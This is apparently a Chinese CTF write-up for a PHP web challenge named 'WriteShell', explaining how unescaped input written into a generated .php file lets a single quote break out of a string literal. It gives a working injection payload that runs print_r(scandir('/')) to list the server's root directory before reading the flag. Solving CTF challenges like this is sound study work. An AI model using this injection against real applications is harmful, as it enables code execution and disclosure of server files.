【WEB】WriteShell

先分析一下代码:

php 复制代码
highlight_file(__FILE__);                    // 把本文件源码高亮显示在页面上(所以能看到源码)
$res = ["hacker" => $_GET['cmd']];           // 取URL参数 ?cmd=xxx,放进数组,键固定为 hacker
$code = '<?php return [';                    // 要写入的文件内容,开头固定
foreach ($res as $key => $value) {
    $code .= "'".$key."'=>"."'".$value."',"; // 关键:把 value(=我们的cmd) 直接塞进单引号里,无任何转义
}
$code .= ']; ';                              // 文件内容结尾固定
$shell_name = md5(uniqid()).".php";          // 用微秒时间戳生成一个随机文件名
file_put_contents($shell_name, $code);       // 把拼好的 $code 写成这个 .php 文件
var_dump($shell_name);                       // 把刚生成的随机文件名打印到页面

把 foreach 展开后,最终写入文件的内容是一个固定模板VALUE 就是我们的 cmd:

php 复制代码
<?php return ['hacker'=>'VALUE',];

漏洞就在这一行拼接 :程序以为 VALUE 只是个普通字符串值,于是用一对单引号 '...' 把它包起来;但它没有对 VALUE 里可能出现的单引号做转义 。所以只要我们的 cmd 里带 ',我们就能从 "字符串的值" 跳到 "PHP 代码层"。

把固定部分切成两半看:

  • 前半段P = <?php return ['hacker'=>'
  • 后半段S = ',];
  • 最终文件 = P + 我们的 cmd + S

情况 A:老老实实传 cmd=hello

php 复制代码
<?php return ['hacker'=>'hello',];

就是一个返回数组的正常文件,访问它没有任何输出(return 的值不会打印)。

情况 B:传入 cmd= ' . F() . ' (F 代表任意函数)

php 复制代码
<?php return ['hacker'=>'' . F() . '',]; 

PHP 读到的结构被改写成了:

片段 PHP 的理解
['hacker'=> 开始定义数组元素,键是 hacker
'' 一个空字符串 (我们用第一个 ' 关掉了原值的引号,又立刻开了个空串)
. F() . 用连接符把函数 F () 的返回值 接进来 → F 此刻被执行
'' 再补一个空字符串(我们用最后那个 ' 重新对上了程序结尾的引号)
,]; 数组正常收尾,语法合法

于是整个文件语法完全正确,而 F () 在 "PHP 计算这个数组" 的过程中被强制执行------ 逃逸成功。

接下来我们可以用两个函数来执行。

通过scandir('/')取出根目录,得到一个数组,通过print_r()把数组展开显示到屏幕上。

所以传:

bash 复制代码
?cmd='.print_r(scandir('/')).'

直接访问随机出来的文件名。

然后直接查看flag文件。

相关推荐
闲云野鹤在人间3 小时前
Docker入门|第3章 镜像详解
linux·网络·docker·容器·centos·云计算·php
sbjdhjd3 小时前
从兼容路由到任意方法调用:ThinkPHP 5.1.29 RCE 复现与调试复盘 | 06
经验分享·安全·网络安全·数据挖掘·开源·php·rce
JaguarJack3 小时前
PHP Trait 为何可能成为语言的关键特性
后端·php·服务端
BingoGo4 小时前
PHP Trait 为何可能成为语言的关键特性
后端·php
PHP实战开发录4 小时前
PHP接口怎么防重复提交
系统架构·php·开发
郑州光合科技余经理6 小时前
本地生活系统:多业务订单字段怎么分账本导出
java·开发语言·前端·数据库·uni-app·php·ai编程
新时代牛马13 小时前
嵌入式网络完整篇:从LwIP/以太网驱动到 Linux netdev 与排障
linux·网络·php